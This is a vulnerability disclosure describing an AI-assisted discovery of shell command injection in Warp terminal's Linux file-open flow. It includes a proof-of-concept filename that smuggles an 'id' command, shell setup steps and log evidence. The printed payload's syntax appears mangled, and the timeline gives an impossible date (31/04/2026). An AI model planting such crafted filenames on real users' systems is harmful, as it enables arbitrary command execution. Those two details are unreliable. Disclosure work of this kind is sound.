[CVE-2026-48731] AI-Assisted Discovery of Command Injection in Warp Terminal

Disclosure status: Reported to vendor and coordinated through a private fix path.

I. Introduction

Warp is an agentic development environment, born out of the terminal. Use Warp's built-in coding agent, or bring your own CLI agent (Claude Code, Codex, Gemini CLI, and others).

Vulnerable component: Warp Linux external editor / system-default file-open flow

Advisory: GHSA-7xgc-mhc8-g7wc

CVE: CVE-2026-48731

Private fix reference: https://github.com/warpdotdev/warp-ghsa-7xgc-mhc8-g7wc/pull/1

II. Target Selection

I was assigned the task of using AI to find bugs in open-source projects. Warp quickly stood out as an interesting target, but not for the usual reason.

What made it attractive was the combination of large real-world adoption and new public source availability.

According to Warp's own public announcement, the product was already being used by nearly one million developers. At the same time, Warp had only recently open-sourced its core product and moved the client codebase into a new public repository. That is exactly the kind of moment I like to audit:

• the software already has a large user base,

• the impact of a real bug can be significant,

• but the code has only recently become broadly reviewable by external researchers.

Newly opened source code often creates a short window where a mature product gets fresh eyes from a lot of researchers for the first time. In practice, that can surface bugs that were previously hidden behind a closed-source boundary.

So my reasoning for choosing Warp was simple:

• it was popular enough that a real finding would matter,

• it was newly public enough that there was still unexplored attack surface,

• and it was complex enough that AI-assisted auditing might actually save time.

• It's ~61k star on github

  

III. Finding

After cloning the repository, I immediately proceeded to prompt for bug hunting. Here I used:

• Claude Code

• manual source review for validation

• local runtime verification

Instead of asking a vague question like “find RCE,” I gave AI a narrower and more useful auditing task: inspect Linux file-opening paths, .desktop Exec templating, field-code expansion, and every place where a file path might cross into shell execution.

I used a prompt in this style:

There is a 0-day RCE in this source code when a user opens a malicious file. Find it and report it.

After that initial direction, I kept narrowing the conversation around Linux file-opening behavior, .desktop Exec templating, and whether file-path data could cross into a shell execution sink.

That prompt shape worked well because it forced the model to reason about a very specific trust boundary:

• file path as attacker-controlled input,

• .desktop expansion as the transformation layer,

• shell execution as the sink.

After that, the AI produced a result showing a suspicious flow in Warp's Linux external editor implementation:

• app/src/util/file/external_editor/linux.rs

• reached through app/src/util/file/external_editor/mod.rs

• used by file-open actions in the workspace flow

The data flow it reconstructed was essentially:

open file path
  -> choose Linux editor integration
  -> read .desktop Exec template
  -> expand %f / %F / %u / %U / %k
  -> append file-path-derived data into processed_exec
  -> execute with sh -c

The most important sink it highlighted was:

Command::new("sh").args(["-c", &processed_exec])

That was the key moment in the audit.

Once AI pointed out that Warp was not launching an editor with a structured argument vector, but was instead building one shell command string and handing it to sh -c, the rest of the review became much more focused.

IV. AI Helped Build the Payload

Finding the code path was only half the work. The next step was turning the code-level suspicion into a payload that would survive filename parsing and prove command execution cleanly.

This is where AI was genuinely useful.

After identifying the sh -c sink, I continued prompting around payload construction: how to embed a command in a filename, how to avoid bad assumptions about slash handling, and how to make verification obvious.

The final PoC approach was:

1. create a crafted filename containing shell metacharacters,

2. have the injected command write id output to a predictable file,

3. open the path through Warp's Linux external editor flow,

4. verify the file was created with command output.

The resulting payload was:

touch '/tmp/warp-poc/legit; id > \((printf "\057")tmp\)(printf "\057")warp_extedit_id.txt ;#.txt'

This filename injects an id command and constructs /tmp/warp_extedit_id.txt at shell runtime.

What I liked about this PoC is that it avoids hand-wavy “the shell might do something dangerous” language. It gives a concrete success condition:

cat /tmp/warp_extedit_id.txt

If that file contains the output of id, then the file path was interpreted as shell syntax and arbitrary command execution was achieved in the context of the local user running Warp.

V. Runtime Evidence

The report captured runtime behavior from Warp logs while opening a crafted filename:

Opening at "/tmp/warp-poc/legit; id > warp_marker.txt ;#.txt" + None
Command: Command { inner: "sh" "-c" "/opt/sublime_text/sublime_text /tmp/warp-poc/legit; id > warp_marker.txt ;#.txt", ... }

This was the final confirmation.

It proves both of the conditions required for exploitation:

• the malicious filename survives into the generated command string, and

• the final execution path is sh -c.

At that point, the shell sees the injected ; id > warp_marker.txt ; segment as command separators and executes it.

VI. Proof of Concept

POC Video: https://drive.google.com/file/d/1BckT4XReTALLJNM6s3dg0hlMS8eZvIYR/view

The following PoC reproduces the issue on Linux using Warp's external editor opening behavior.

1. Prepare the environment

sudo rm -rf /tmp/warp-poc
mkdir -p /tmp/warp-poc
chmod 777 /tmp/warp-poc
rm -f /tmp/warp_extedit_id.txt

2. Create the crafted filename

touch '/tmp/warp-poc/legit; id > \((printf "\057")tmp\)(printf "\057")warp_extedit_id.txt ;#.txt'

3. Open the file from Warp

In Warp UI:

• ensure the file link is opened through the Linux external-editor path,

• use an external editor or default-app route that reaches the vulnerable implementation,

• then open the crafted path.

4. Verify command execution

cat /tmp/warp_extedit_id.txt

If the file contains the output of id, arbitrary command execution has been achieved in the context of the local user running Warp.

VII. Impact

This issue is a CWE-78 command injection vulnerability in a real user-facing workflow.

Who is affected:

• Linux Warp users

• who open attacker-controlled or untrusted file paths

• through Warp's external editor or system-default file-open flow

What an attacker can achieve:

• arbitrary command execution as the local Warp user,

• access to files and secrets available to that user,

• file modification,

• local persistence in user context,

• and follow-on payload execution.

Realistic attack scenarios

Potential sources of attacker-controlled paths include:

• cloned repositories containing crafted filenames,

• extracted archives,

• test output or logs that expose clickable malicious paths,

• or any workflow where a victim is persuaded to open what looks like a normal file link.

The exploit does not require privilege escalation by itself. It only requires that the victim trigger the vulnerable open-file flow on a malicious path.

VIII. Timeline

• Discovery date: 29/04/2026

• Initial vendor contact: 29/04/2026

• Vendor acknowledgment: 31/04/2026

• Private fix / patch development: 23/05/2026

• Advisory publication: 09/06/2026

• Public disclosure: 09/06/2026

IX. References

• Warp repository: https://github.com/warpdotdev/warp

• Warp documentation on files, links, and scripts: https://docs.warp.dev/terminal/more-features/files-and-links

• Warp advisory reference: https://github.com/warpdotdev/warp/security/advisories/GHSA-7xgc-mhc8-g7wc

• Private fix reference: https://github.com/warpdotdev/warp-ghsa-7xgc-mhc8-g7wc/pull/1